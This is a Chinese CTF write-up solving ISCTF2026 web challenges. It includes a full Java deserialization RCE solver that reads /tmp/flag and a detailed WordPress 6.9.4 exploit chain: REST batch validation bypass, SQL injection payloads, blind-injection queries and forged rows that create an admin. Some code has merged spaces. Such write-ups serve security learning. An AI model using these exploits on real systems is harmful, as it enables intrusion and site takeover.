ISCTF2026-WEB(部分)

作者:玄网安全 发布:2026-11-21 07:49 收录:2026-11-23 13:32 2 次阅读 约 11755 字
摘要:重点提示:比赛给出了反agent防御手段 WEB1:git_leak(静态/git源码) 开启服务:C:\Users\34645\Downloads\gitleak-attachment>python -m http.server 8765 Serving HTTP on :: port 8765 (http://[:…
推荐理由:本文涵盖「ISCTF2026」、「Git泄露」、「GitHack」等多个主题,重点关注 ISCTF2026。

重点提示:比赛给出了反agent防御手段

WEB1:git_leak(静态/git源码)

开启服务:C:\Users\34645\Downloads\gitleak-attachment>python -m http.server 8765 Serving HTTP on :: port 8765 (http://[::]:8765/) ...

cd D:\CTF\CTF-WEB\GitHack-master python GitHack.py http://127.0.0.1:8765/.git/下载git内容

WEB2:账单导出哈

题目给出:已知系统内存在三个历史账号:yunbai、butty、alalei。经过测试3个账号的密码:password123

{
  "context": "b3JkZXI6ZGRhNmIwMzctN2YyZC00YWNiLTg2ODgtODJlODNlODdlZTQw",
"generated_at": "2026-11-14 01:58:33",
"order_count": 3,
"range": {
    "from": "2026-01-10 09:00:00",
    "to": "2026-01-10 09:40:00"
  },
"total_amount": 157.5,
"user": "yunbai"
}

{
"context": "b3JkZXI6ZGRhNmIwMzctN2YyZC00YWNiLTg2ODgtODJlODNlODdlZTQw",
"generated_at": "2026-11-14 01:59:11",
"order_count": 2,
"range": {
    "from": "2026-01-10 09:05:00",
    "to": "2026-01-10 09:25:00"
  },
"total_amount": 1600,
"user": "butty"
}

{
"context": "b3JkZXI6ZGRhNmIwMzctN2YyZC00YWNiLTg2ODgtODJlODNlODdlZTQw",
"generated_at": "2026-11-14 02:00:04",
"order_count": 3,
"range": {
    "from": "2026-01-10 09:08:00",
    "to": "2026-01-10 10:00:00"
  },
"total_amount": 274,
"user": "alalei"
}

发现3个账号放回的order:<订单号>一样

order:dda6b037-7f2d-4acb-8688-82e83e87ee40

查实看到order内容,但是没有接口

根据提示,/orders 页面中每行订单的详情链接为 /order/<uuid>,而列表数据来自 /api/orders。按命名习惯,详情接口应为 GET /api/order/<uuid>。结合文中已知订单号 dda6b037-7f2d-4acb-8688-82e83e87ee40,可构造请求:

GET /api/order/dda6b037-7f2d-4acb-8688-82e83e87ee40

该接口应返回对应订单的完整详情(如商品、金额、时间等),是 /order/<uuid> 页面的数据源。注意:需以 yunbai 身份登录并携带有效会话(如 session 或 Authorization),否则可能返回 401 或空数据。

"amount":999.99,"created_at":"2026-01-10 10:35:00","order_id":"dda6b037-7f2d-4acb-8688-82e83e87ee40","receipt_ref":"http://127.0.0.1:8081/receipt/d9f4c05e-a5d4-48a1-96ad-3137e43ca37b","remark":"*** 该内容需在渲染服务中查看 ***","status":"archived","title":"企业专属账单归档"}

看到内网接口内容,在根据页面的云端同步地址来看这里可以写入url

WEB3:Break Here

要访问:http://110.42.47.164:32087/题目给出的是__isctf/open是错误的分析:http://110.42.47.164:32087/app.js 发现js加密混淆

(() => {
  "use strict";

  const statusEl = document.getElementById("status");
  const againBtn = document.getElementById("again");
  const state = { sid: "", enc: "", txt: "", ok: false };

function deriveKey(sid) {
    lethash = 2166136261;
    const seed = sid + ":isctf";
    for (let i = 0; i < seed.length; i++) {
      hash ^= seed.charCodeAt(i);
      hash = Math.imul(hash, 16777619) >>> 0;
    }
    const key = new Uint8Array(16);
    for (let i = 0; i < key.length; i++) {
      hash ^= hash << 13; hash >>>= 0;
      hash ^= hash >>> 17; hash >>>= 0;
      hash ^= hash << 5; hash >>>= 0;
      key[i] = hash & 255;
    }
    return key;
  }

function decrypt(encB64, sid) {
    const raw = atob(encB64);
    const key = deriveKey(sid);
    const out = new Uint8Array(raw.length);
    for (let i = 0; i < raw.length; i++) {
      out[i] = raw.charCodeAt(i) ^ key[i % key.length] ^ ((i * 31 + 17) & 255);
    }
    return new TextDecoder("utf-8").decode(out);
  }

  async functionfetchRuntime() {
    const res = await fetch("/api/runtime", { cache: "no-store" });
    if (!res.ok) throw new Error("runtime");
    return res.json();
  }

  async functionrunVerify() {
    try {
      againBtn.disabled = true;
      statusEl.textContent = "校验中…";
      const data = await fetchRuntime();
      state.sid = data.s;
      state.enc = data.t;
      const plain = decrypt(state.enc, state.sid);
      state.txt = plain;
      window.__v(plain);
      statusEl.textContent = "校验完成";
    } catch (err) {
      statusEl.textContent = "校验失败";
    } finally {
      againBtn.disabled = false;
    }
  }

  againBtn.addEventListener("click", runVerify);
  runVerify();
})();

(function () {
  var hidden = { t: "", s: 0 };
function save(val) {
    hidden.s = val;
    hidden._bp7f3a9 = val;
    return hidden.s;
  }
  window.__v = save;
  window.hint = function () {
    return 175;
  };
})();

根据第93行附近的代码及提示,deriveKey 以 sid + ":isctf" 为输入计算 FNV-1a 哈希(初始值 2166136261),再经16轮 xorshift32(<<13, >>>17, <<5)生成16字节密钥;decrypt 使用该密钥流 key[i%16] ^ ((i*31+17) & 255) 对 Base64 解码后的密文流式异或解密。第二段自执行函数将 window.__v 替换为 save,使明文仅存于 hidden.s 内存中,不渲染、不输出;hint() 返回 175 是干扰项(对应 i=162,与解密逻辑无关)。因此,必须手动请求 /api/runtime 获取 s 和 t,在本地调用 deriveKey 与 decrypt 还原 flag。访问:/api/runtime 

{"s":"2088d791d118961c","t":"sDz+7qWPLEUbXQdSOST4/o9N/O939Fp+5jglNp4Q2sIufu6iM+IF"}

s: "c94245c284c560ca"
t: "Z7jN4nytMQZ9iTH+g4HR11jJz+Ou1kc9gOwTmiS18+v5+t2u6sAY"

解密内容:ISCTF{435e124a35f21ed02880cfcea9713806}

WEB4:王的体检报告

访问:http://110.42.47.164:32015/robots.txt

User-agent: *
Disallow: /api/healthcheck
Disallow: /vip-daycare

# 乌托邦·王:外包说 robots.txt 是给搜索引擎看的,没人会来这里翻。
# --- 赛事筹备组备注(2026-11-02)---
# 体检接口只给内部扫描器用,千万别用浏览器直接访问(会 405)。
# 内网入口页同理,别让选手乱点。

/vip-daycare 页面提示“仅供 UtopiaHealthScanner 发起检查”,而 /api/healthcheck 明确拒绝 GET 请求——这暗示二者存在联动关系。扫描器很可能先访问 /vip-daycare 获取初始上下文(如 CSRF Token、临时凭证或 Referer 签名),再以 POST 方式调用 /api/healthcheck 并携带该上下文。浏览器直接访问 /vip-daycare 虽仅展示。

提示1:# 普通浏览器请求被拒绝:本接口只接受『官方体检工具』发起的检查。提示:服务器是通过请求头里的 User-Agent 识别工具的——工具叫什么名字?内部入口页上写着。
也就是前面的:UtopiaHealthScanner

提示2:# 体检工具 UA 对了,但访问来源不对:该工具只会从赛务内网的体检入口页发起检查。提示:服务器还会检查请求头里的 Referer(本次请求来自哪个页面)。入口页在哪?你在体检第一步摸过的那份『规矩清单』里应该见过它。
Referer:http://110.42.47.164:32015/vip-daycare

返回:

{"msg":"体检通过。以下是一次性取件凭证与取件地址(用后即焚,请立即使用):","next_target_path":"vip-daycare-preview-8b41e6","next_target_token":"hR9FiFMIWxh8i2iwcpXX8nR2oWtlUv_xpVBxdfLcuXs","ok":true,"set_cookie_hint":"Cookie: next-target=<取件凭证>"}

问题来了,在访问:http://110.42.47.164:32015/vip-daycare-preview-8b41e6是404,难不成没有这个吗。这个就想到前面拿到文档的题目,也是要我们自己找出接口

http://110.42.47.164:32015/vip-daycare/preview/vip-daycare-preview-8b41e6

提示:凭证无效或已过期
403 —— 取件必须携带 cookie:next-target=<取件凭证>。凭证一次性有效,失败了就重新体检。

麻烦的就是每一次令牌都会变所以还是用python脚本获取flag

import sys
import requests

BASE = "http://110.42.47.164:32015"


def main() -> int:
    session = requests.Session()
    issue = session.post(
        f"{BASE}/api/healthcheck",
        headers={
            "User-Agent": "UtopiaHealthScanner",
            "Referer": f"{BASE}/vip-daycare",
        },
        timeout=15,
    )
    issue.raise_for_status()
    data = issue.json()
    if not data.get("ok"):
        print(data, file=sys.stderr)
        return 1

    path = data["next_target_path"]
    token = data["next_target_token"]
    url = f"{BASE}/vip-daycare/preview/{path}"
    print(f"[+] path  = {path}")
    print(f"[+] token = {token}")
    print(f"[+] url   = {url}")

    picked = session.get(
        url,
        headers={"Cookie": f"next-target={token}"},
        timeout=15,
    )
    picked.raise_for_status()
    body = picked.json()
    print(body)
    print(body["flag"])
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

小蓝鲨的挑战

核心思路:/reflect/ 接受以 rO0 开头的 Java 序列化 base64。题目附件 latch.jar 里的 ctf.blueshark.book.Carrier 在 readObject 中解析 class 字节码、用自定义 ClassLoader 定义类,并反射调用它的静态 open(),本身就是一条反序列化 RCE 链。利用它在 Jetty 请求线程里执行 Java,反射 HttpConnection.getCurrentConnection() 取到当前响应流直接回显,读取 /tmp/flag。

1. 题目说明

题目名称「小蓝鲨的挑战」,出题人 moon,4 分题,描述只有一句「超级简单的三重挑战!!!」,入口为战队独立实例 http://110.42.47.164:32020/。

访问入口,响应头为 Server: Jetty(11.0.24)。首页是「小蓝鲨的书屋」,桌上三本书,分别对应三个关卡:

  • /cc/:标题「你真的会 CC 链吗」,页面说明「这本书只收 base64,以 rO0 开头。黑名单开着。」
  • /random/:标题「可莉炸弹!!!」,同样只收 rO0 开头的 base64。
  • /reflect/:标题「反射要怎么绕过呢」,页面提示「先把 latch.jar 拿去看。这本书只收 base64,以 rO0 开头。」

三关的表单结构相同,只有一个 b64 文本域。首页说明「三本都点头,暗门才会开,旗就写在门上」,/door 返回 shut,/progress 返回 cc=0 random=0 reflect=0。

/reflect/ 页面提到的附件可以直接下载:

http://110.42.47.164:32020/reflect/latch.jar

下载后为 2019 字节的 Java 归档,内容只有一个类:

META-INF/MANIFEST.MF
ctf/blueshark/book/Carrier.class

拿到 shell 后确认的环境信息:Java 21.0.6,user.dir=/opt/bookshop,classpath 为 reflect.jar,容器内还放着 lobby.jar、cc.jar、random.jar;flag 文件为 /tmp/flag(40 字节)。这些是后话,先回到题目给的附件。

2. 解题思路

  1. 下载 latch.jar,用 javap 反编译 Carrier。
  2. 看清 Carrier.readObject() 的行为:读取 byte[] code,解析 class 文件取出类名,交给自定义 ClassLoader 定义,然后反射调用该类的静态 open()。这等于送了一条“编译任意默认包类并执行其静态方法”的反序列化链。
  3. 编译一个默认包类 X,在 public static void open() 中实现任意 Java 逻辑;用 new Carrier(X.class 字节码) 序列化后 base64 提交到 /reflect/。
  4. 题目 Servlet 处理完总是 303 重定向,没有回显。我们的代码运行在 Jetty 请求线程中,可以反射拿到当前 HttpConnection → HttpChannel → Response,直接往响应流写数据,把 Servlet 的重定向绕开,建立一个任意回显通道。
  5. 用这条通道读取 /tmp/flag。

另外要注意三关的过滤差异:/cc/ 与 /random/ 会把 Carrier 拦掉,/reflect/ 放行,因此实际利用走 /reflect/。

3. 解题过程

3.1 下载附件并确认三关输入格式

三关的输入都是 Java 原生序列化数据,页面提示以 rO0 开头。rO0 是 AC ED 00 05(Java 序列化魔数与版本)的 base64 前缀,说明后端直接做 ObjectInputStream 反序列化。

/reflect/ 的附件 latch.jar 很小,javap -p -c 查看 Carrier:

public final class ctf.blueshark.book.Carrier implements java.io.Serializable {
  private final byte[] code;
  public ctf.blueshark.book.Carrier(byte[]);
  private void readObject(java.io.ObjectInputStream) throws java.lang.Exception;
  static java.lang.String name(byte[]);
  private static int u2(byte[], int);
}

其中 readObject 的字节码逻辑为:

defaultReadObject()
name(code)                       // 从 class 文件解析类名并校验
new Carrier$Loader()
  .define(name, code)            // 自定义 ClassLoader 定义类
Class.getMethod("open", new Class[0])
  .invoke(null, new Object[0])   // 反射调用静态 open()

jar 中只有 Carrier.class,Carrier$Loader 由服务端提供;客户端只需要构造 Carrier 对象。

3.2 Carrier 的限制条件:默认包 + 简单类名

Carrier.name(byte[]) 会解析传入的 class 文件,先检查:

  • 长度至少 10,前两个字节必须是 0xCA 0xFE(class 文件魔数);
  • 遍历常量池,取出 this_class 对应的类名;
  • 类名不能包含 /,并且必须匹配 [A-Za-z][A-Za-z0-9]{0,40}。

也就是说,被定义的类必须位于默认包,类名只能由字母和数字组成,且以字母开头。这正好方便我们:用 javac 编译一个 public class X,默认包,类名 X 满足所有条件。

open() 必须是 public static,否则 getMethod("open") 找不到或 invoke(null) 失败。方法返回值会被丢弃,所以回显必须通过副作用完成。

3.3 用 sleep 侧信道验证代码执行,并确认三关差异

先写一个只睡 5 秒的类:

public class B {
    public static void open() {
        try { Thread.sleep(5000); } catch (Exception e) { }
    }
}

用 Carrier 序列化 B.class,base64 后 POST 到 /reflect/,实测:

POST /reflect/  5.076s
POST /reflect/(普通 String 序列化) 0.086s

延迟精确地增加了 5 秒,说明 B.open() 确实在服务端执行,Carrier 链可用。

把同样的 payload 投到另外两关:

POST /cc/      0.066s
POST /random/  0.082s

没有延迟,说明 /cc/ 和 /random/ 的过滤器在反序列化阶段把 Carrier 拦下了,只有 /reflect/ 放行。后续利用集中在 /reflect/。

3.4 借 Jetty 当前连接建立 HTTP 回显

/reflect/ 的 Servlet 无论处理结果如何都会 303 回首页,正常看不到任何输出。我们的 open() 运行在 Jetty 的工作线程里,可以反射 Jetty 的内部对象拿到当前响应:

Class<?> hc = Class.forName("org.eclipse.jetty.server.HttpConnection");
Object conn = hc.getMethod("getCurrentConnection").invoke(null);
Object ch = conn.getClass().getMethod("getHttpChannel").invoke(conn);
Object resp = ch.getClass().getMethod("getResponse").invoke(ch);

随后优先通过 getOutputStream() 拿 ServletOutputStream 写入并 flush,失败则直接对 Response 调 write(byte[])。由于响应被我们提交,Servlet 后面的 sendRedirect 不再生效,Jetty 直接返回我们写入的内容。

先用固定字符串验证:

POST /reflect/  ->  HTTP/1.1 200 OK
content-length: 10

QZECHO123

回显通道成立。这个技巧也解释了为什么 payload 不需要借助外部平台或写文件:在请求线程内就能把数据写回 HTTP 响应。

3.5 读取 /tmp/flag

把 open() 改成读取 /tmp/flag 并通过上面的通道回显,用 FLAGSTART|...|FLAGEND 包住内容:

public static void open() {
    try {
        String flag = new String(Files.readAllBytes(Paths.get("/tmp/flag")), "UTF-8").trim();
        echo("FLAGSTART|" + flag + "|FLAGEND");
    } catch (Throwable t) {
        echo("ERRSTART|" + t + "|ERREND");
    }
}

提交后响应为:

FLAGSTART|ISCTF{9770ff81a7c930e2af1d9cdd7d30b59f}|FLAGEND

文件本身为 40 字节,末尾是换行(十六进制结尾 7d 0a),去掉换行即为 flag。

题目本意是让三本书分别完成并让门口放行(/door 仍是 shut,/progress 仍是 cc=0 random=0 reflect=0);但 /reflect/ 这一关的 Carrier 已经提供了完整的任意代码执行,足以直接读取题目 flag 文件 /tmp/flag,不需要再走 CC 和随机数两条链。

4. 完整解题脚本

保存为 solve_shark.py,需要 JDK(javac/java),从目标下载 latch.jar,编译默认包类 X,用 Carrier 序列化后提交到 /reflect/ 并提取 flag。脚本仅使用 Python 标准库。

#!/usr/bin/env python3
"""Solve the blueshark reflect stage: Carrier deserialization RCE -> /tmp/flag.

Requires a JDK (javac/java). The exploit class X is compiled in the default
package, packed into ctf.blueshark.book.Carrier, and submitted as base64 to
/reflect/. Its static open() reads /tmp/flag and writes it to the current
Jetty response via HttpConnection.getCurrentConnection().
"""

import base64
import os
import re
import shutil
import subprocess
import sys
import tempfile
import urllib.parse
import urllib.request

BASE = (sys.argv[1] if len(sys.argv) > 1else"http://110.42.47.164:32020").rstrip("/")
TARGET = BASE + "/reflect/"
HERE = os.path.dirname(os.path.abspath(__file__))
LATCH = os.path.join(HERE, "latch.jar")

X_JAVA = r'''import java.nio.file.*;

public class X {
    static void echo(String s) {
        try {
            Class<?> hc = Class.forName("org.eclipse.jetty.server.HttpConnection");
            Object conn = hc.getMethod("getCurrentConnection").invoke(null);
            Object ch = conn.getClass().getMethod("getHttpChannel").invoke(conn);
            Object resp = ch.getClass().getMethod("getResponse").invoke(ch);
            byte[] data = s.getBytes("UTF-8");
            try {
                Object out = resp.getClass().getMethod("getOutputStream").invoke(resp);
                out.getClass().getMethod("write", byte[].class).invoke(out, (Object) data);
                out.getClass().getMethod("flush").invoke(out);
            } catch (Throwable t) {
                resp.getClass().getMethod("write", byte[].class).invoke(resp, (Object) data);
                resp.getClass().getMethod("flush").invoke(resp);
            }
        } catch (Throwable t) { }
    }
    public static void open() {
        try {
            String flag = new String(Files.readAllBytes(Paths.get("/tmp/flag")), "UTF-8").trim();
            echo("FLAGSTART|" + flag + "|FLAGEND");
        } catch (Throwable t) {
            echo("ERRSTART|" + t + "|ERREND");
        }
    }
}
'''


MAKEX_JAVA = r'''import ctf.blueshark.book.Carrier;
import java.io.*;
import java.nio.file.*;
import java.util.Base64;

public class MakeX {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get(args[0]));
        Carrier c = new Carrier(code);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(c);
        }
        System.out.print(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
}
'''



def tool(name, sibling_of=None):
    env = os.environ.get(name.upper())
    if env and os.path.exists(env):
        return env
    if sibling_of:
        cand = os.path.join(os.path.dirname(sibling_of),
                            name + (".exe"if os.name == "nt"else""))
        if os.path.exists(cand):
            return cand
    found = shutil.which(name)
    if found:
        return found
    for cand in (f"D:/CTF/JDK-21/bin/{name}.exe", f"/usr/bin/{name}"):
        if os.path.exists(cand):
            return cand
    raise SystemExit(f"{name} not found; set {name.upper()} to its path")


def main():
    ifnot os.path.exists(LATCH):
        print("[*] downloading latch.jar")
        with urllib.request.urlopen(BASE + "/reflect/latch.jar", timeout=30) as resp:
            open(LATCH, "wb").write(resp.read())

    build = tempfile.mkdtemp(prefix="shark_build_")
    x_path = os.path.join(build, "X.java")
    mk_path = os.path.join(build, "MakeX.java")
    open(x_path, "w", encoding="utf-8").write(X_JAVA)
    open(mk_path, "w", encoding="utf-8").write(MAKEX_JAVA)

    javac = tool("javac")
    java = tool("java", sibling_of=javac)
    cp_sep = os.pathsep
    subprocess.run([javac, "-cp", LATCH, "-d", build, x_path, mk_path],
                   check=True)
    result = subprocess.run(
        [java, "-cp", LATCH + cp_sep + build, "MakeX",
         os.path.join(build, "X.class")],
        capture_output=True, text=True, check=True)
    payload = result.stdout.strip()
    print(f"[*] Carrier payload: {len(payload)} base64 chars")

    data = urllib.parse.urlencode({"b64": payload}).encode()
    req = urllib.request.Request(TARGET, data=data,
                                 headers={"User-Agent": "blueshark-solve/1.0"})
    with urllib.request.urlopen(req, timeout=30) as resp:
        body = resp.read().decode("utf-8", "replace")
    print(body)
    match = re.search(r"FLAGSTART\|(.*?)\|FLAGEND", body, re.S)
    ifnot match:
        raise SystemExit("flag not found in response")
    flag = match.group(1).strip()
    print("[+] flag:", flag)


if __name__ == "__main__":
    main()

简单网站搭建

核心思路:站点是未打补丁的 WordPress 6.9.4,命中 wp2shell 双 CVE(CVE-2026-63030 REST batch 路由错位 + CVE-2026-60137 author__not_in SQL 注入)。利用批次接口的校验/执行错位,把标量注入打进 WP_Query,先做时间盲注取环境信息,再用伪造的 oembed_cache / customize_changeset 行链式提权创建管理员,最后登录后台上传插件 getshell,读取 /flag。

1. 题目说明

题目名称「简单网站搭建」,出题人 light,面向战队的独立实例,初始入口为 http://110.42.47.164:32020/,容器有效期 2 小时、可续 1 小时。题目描述只有一句「一个简单搭建的网站」。

对入口做初步访问,得到的关键事实如下:

  • HTTP 响应头为 server: Apache/2.4.65 (Unix)、x-powered-by: PHP/8.3.36。
  • 首页包含 <meta name="generator" content="WordPress 6.9.4" />,说明这是 WordPress 站点。
  • 使用自定义主题 frontend-study,style.css 的注释中写着 Theme Name: Frontend Study Journal、Author: ISCTF、Version: 1.3.0。
  • /wp-json/ 返回完整的默认路由(wp/v2、batch/v1、oembed/1.0、wp-abilities/v1 等),没有自定义命名空间。
  • /wp-json/wp/v2/users 只暴露一个用户 admin(id=1),站内只有 2 篇文章,没有上传点、评论功能或业务插件。
  • 主题搜索框的 s 参数会被 WordPress 正常转义(提交 ' 返回 &#039;),没有直接 SQL 注入。

也就是说,主题与内容面没有明显攻击点,唯一高价值的线索是核心版本:WordPress 6.9.0–6.9.4 正好落在 wp2shell 两个漏洞的影响范围:

分支
受影响版本
修复版本
6.9
6.9.0 – 6.9.4
6.9.5
7.0
7.0.0 – 7.0.1
7.0.2

两个 CVE 分别是:

  • CVE-2026-63030:/wp-json/batch/v1 批次处理器把「校验」和「执行」拆成两个循环,遇到无法解析的子请求时只向 $validation 追加错误、不向 $matches 追加路由匹配,导致两个数组错位。后续子请求会用错误的 handler 执行,从而绕过参数校验。
  • CVE-2026-60137:GET /wp/v2/posts 的 author_exclude 参数在控制器里声明为「整数数组」,会映射到 WP_Query 的 author__not_in。WP_Query 只在值是数组时逐项 absint(),标量字符串会原样拼进 NOT IN (...),形成注入。

单独任何一个都不足以拿到未授权 RCE:前者负责绕过校验,后者提供注入点,组合后才能形成完整的未授权利用链。

拿到 shell 后确认的容器环境:真正的 WordPress 根目录在 /var/www/localhost/htdocs,wp-content 是指向 /tmp/wp-content 的软链接(wpuser 可写);flag 是 /flag,指向 /tmp/flag,wpuser 可读。外层反向代理对超过 10 秒的后端请求返回 502,这一点在后台安装插件时会反复出现,实际安装仍会在服务端继续执行,需要直接轮询插件文件而不是相信 HTTP 响应。

2. 解题思路

  1. 指纹识别:确认 WordPress 6.9.4,锁定 wp2shell(CVE-2026-63030 + CVE-2026-60137)。
  2. 构造 /batch/v1 双层错位:外层错位让内层 batch 在未校验 method 的情况下执行;内层再错位,让携带 author_exclude 的请求落到 posts handler 上。
  3. 用 SELECT IF((cond),SLEEP(0.4),0) 构造时间盲注,取表前缀、管理员 ID。
  4. 用 UNION 返回伪造的 wp_posts 行,先播种 3 个 oembed_cache 行,再伪造 customize_changeset 与父级环路,触发 changeset 以管理员 user_id 生效,并通过 parse_request 重放批次请求,创建新管理员。
  5. 登录后台,在插件上传页取 nonce,上传带合法插件头的 PHP 插件,直接访问插件文件执行命令。
  6. cat /flag 读取软链接指向的 /tmp/flag。

3. 解题过程

3.1 版本指纹把方向从主题转到 Core

首页的 generator 和主题版本都直接可见,REST 路由、用户、文章也都是默认行为。对主题做粗测时,搜索参数 ?s=%27 返回的是 正在查找:&#039;,SQL 关键字和时间延迟测试(SLEEP(3))均无异常,说明自定义主题不是入口。

同时,/wp-json/ 的路由里出现了 wp-abilities/v1 命名空间——这是 WordPress 6.9 引入的 Abilities API,进一步确认了核心版本为 6.9.x。结合 6.9.4 落在 6.9.0–6.9.4 的受影响区间,直接按公开的 wp2shell 链路推进。

3.2 第一层:/batch/v1 的校验与执行错位

WordPress 6.9.4 的 WP_REST_Server::serve_batch_request_v1()(wp-includes/rest-api/class-wp-rest-server.php)先统一校验、再统一执行:

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;
        continue;
    }

    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $error     = null;

    if ( is_wp_error( $match ) ) {
        $error = $match;
    }

    // ... has_valid_params() / sanitize_params() ...

    if ( $error ) {
        $has_error    = true;
        $validation[] = $error;
    } else {
        $validation[] = true;
    }
}

如果某个子请求的 path 无法被 wp_parse_url() 解析(例如 http://:),代码走 continue 分支:$validation 多了一条错误,$matches 却没有对应项。执行循环里 $match = $matches[$i] 按下标取 handler,于是后面的请求整体错位一位,用下一个请求的 handler 执行当前请求。

外层 payload 如下。第二个子请求本身是 POST /wp/v2/posts,携带 {"requests": [...]},但执行时匹配到的是 /batch/v1 的 handler,于是它的 body 被当成内层批次继续处理:

{
  "requests": [
    {"method": "POST", "path": "http://:"},
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {"requests": [ /* 内层请求 */ ]}
    },
    {"method": "POST", "path": "/batch/v1"}
  ]
}

内层同样先放一个坏路径产生错位。这样既能绕过「batch 只允许 POST/PUT/PATCH/DELETE」的方法校验,也能让携带 author_exclude 的 GET 请求实际落到 posts handler:

[
  {"method": "GET", "path": "http://:"},
  {"method": "GET", "path": "/wp/v2/categories?author_exclude=<注入>"},
  {"method": "GET", "path": "/wp/v2/posts"}
]

内层错位后,第二个请求(categories)通过校验,却用第三个匹配到的 posts handler 执行,author_exclude 就这样进入了 WP_Query。

3.3 第二层:author__not_in 的标量注入

WP_REST_Posts_Controller 把公开参数 author_exclude 映射到内部 author__not_in,参数定义要求它是「integer 数组」:

$parameter_mappings = array(
    // ...
    'author_exclude' => 'author__not_in',
    // ...
);

$query_params['author_exclude'] = array(
    'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ),
    'type'        => 'array',
    'items'       => array(
        'type' => 'integer',
    ),
    'default'     => array(),
);

而 WP_Query 里对应的处理(wp-includes/class-wp-query.php)只在数组分支做净化:

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

如果值是数组,会逐项 absint;如果是标量字符串,则直接 implode(等于原样返回)后拼进 SQL。正常请求中公开参数的类型校验会挡住标量,但 3.2 的错位已经绕过了校验。

注入点的上下文是 post_author NOT IN (...),所以 payload 用 1) AND 1=0 UNION ALL SELECT <整行> -- - 闭合括号并注释掉尾部,UNION 必须返回与 wp_posts 同列数的行。脚本里的 post_row() 就按 23 列构造:

def post_row(post_id, content, title, status, name, parent, post_type):
    ts = sql_hex("2020-01-01 00:00:00")
    return ",".join(
        (
            str(post_id), "1", ts, ts,
            sql_hex(content), sql_hex(title), "''",
            sql_hex(status), sql_hex("closed"), sql_hex("closed"), "''",
            sql_hex(name), "''", "''", ts, ts, "''", str(parent), "''", "0",
            sql_hex(post_type), "''", "0",
        )
    )

3.4 时间盲注取表前缀、管理员 ID 与 oEmbed ID

所有条件都通过 SELECT IF((cond),SLEEP(0.4),0) 执行。脚本先校准:1=0 五次取中位数作为基线,1=1 三次取中位数作为延迟样本,只有差值足够大才继续。最终一次实测为:

[+] vulnerable: baseline 0.266s / delayed 1.091s

随后用长度二分 + ASCII 二分提取 wp_posts:

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473
ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1

结果 wp_posts,表前缀 wp_。管理员 ID 通过 wp_users 与 wp_usermeta 的 capabilities 字段匹配:

SELECT u.ID FROM `wp_users` u JOIN `wp_usermeta` m ON m.user_id=u.ID
WHERE m.meta_key=0x77705f6361706162696c6974696573
AND INSTR(m.meta_value,0x733a31333a2261646d696e6973747261746f72223b623a313b)>0
ORDER BY u.ID LIMIT 1

最终运行返回 admin_id=2。这是因为该实例在调试过程中已经多次利用、存在之前创建的管理员,脚本选取的是满足管理员条件的低 ID 用户;在干净实例上这里会是 1。链式提权只要求一个有效管理员 ID,不影响结果。

接下来做 oEmbed 播种。第一次 UNION 返回一条 ID=0 的伪造 post,内容里放三个指向站内文章的 embed:

[embed width="500" height="750"]<文章链接>?<token>0[/embed]
[embed width="500" height="750"]<文章链接>?<token>1[/embed]
[embed width="500" height="750"]<文章链接>?<token>2[/embed]

WordPress 处理 embed 时会把结果写进 wp_posts 的 oembed_cache 行。缓存键是「URL + 尺寸序列化」的 MD5,脚本按同样的算法反查 ID:

size = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
key = hashlib.md5((url + size).encode()).hexdigest()

对应 SQL:

SELECT ID FROM `wp_posts`
WHERE post_type=0x6f656d6265645f6361636865 AND post_name=0x<md5>
ORDER BY ID DESC LIMIT 1

最终运行得到 oembed cache ids=[30, 31, 32]。这三个真实存在的数据库行是后续缓存污染与 changeset 链的锚点。

3.5 伪造 post 行链式提权创建管理员

第二次注入一次性返回 7 条伪造行,游标变量记为 outer、nav、inner 和三条 cache ID。该链路的机制来自 Searchlight Cyber 公开的 wp2shell 分析,下面的描述结合了本文实际使用的 payload 与运行结果。各行作用如下:

伪造行
状态 / 类型
关键字段与作用
trigger(ID=0)
publish
 / post
内容含指向 cache[1] 的 embed,触发 oEmbed 刷新
cache[0](O)
future
 / customize_changeset
post_content
 是 changeset JSON,post_parent=outer
outer(C)
draft
 / post
名为 outer 的循环节点,post_parent=cache[0]
cache[1]
publish
 / post
post_parent=cache[0]
nav
publish
 / nav_menu_item
post_parent=cache[2]
cache[2](D)
parse
 / request
post_parent=inner
,用非法状态/类型触发 parse_request
inner
draft
 / post
post_parent=cache[2]

changeset 的 JSON 是:

{
  "nav_menu_item[<nav>]": {
    "value": {
      "object_id": 0,
      "object": "",
      "menu_item_parent": 0,
      "position": 0,
      "type": "custom",
      "title": "proof",
      "url": "https://example.com",
      "status": "publish",
      "nav_menu_term_id": 0
    },
    "type": "nav_menu_item",
    "user_id": 2
  }
}

这里的 user_id 来自上一步盲注得到的管理员 ID。整条链的行为是:

  1. embed 刷新 cache[1] 导致 wp_update_post(O);写入前触发 wp_insert_post_parent 过滤器的父级环路检测。
  2. O 的父级 C 在内存中被伪造为 customize_changeset,父级关系成环。环路修复会调用 wp_update_post(C, ['post_parent' => 0]),这个调用**不覆盖 post_content**,于是伪造的 changeset JSON 被保留并应用。
  3. changeset 以 user_id 指定管理员的身份生效,临时把当前用户切换为管理员,并更新伪造的 post 树。
  4. 更新过程再次触发环路检测,调用 wp_update_post(D);D 的 post_status=parse、post_type=request,执行 do_action( "{$new_status}_{$post_type}" ) 即 parse_request,把整个批次请求重放一遍。
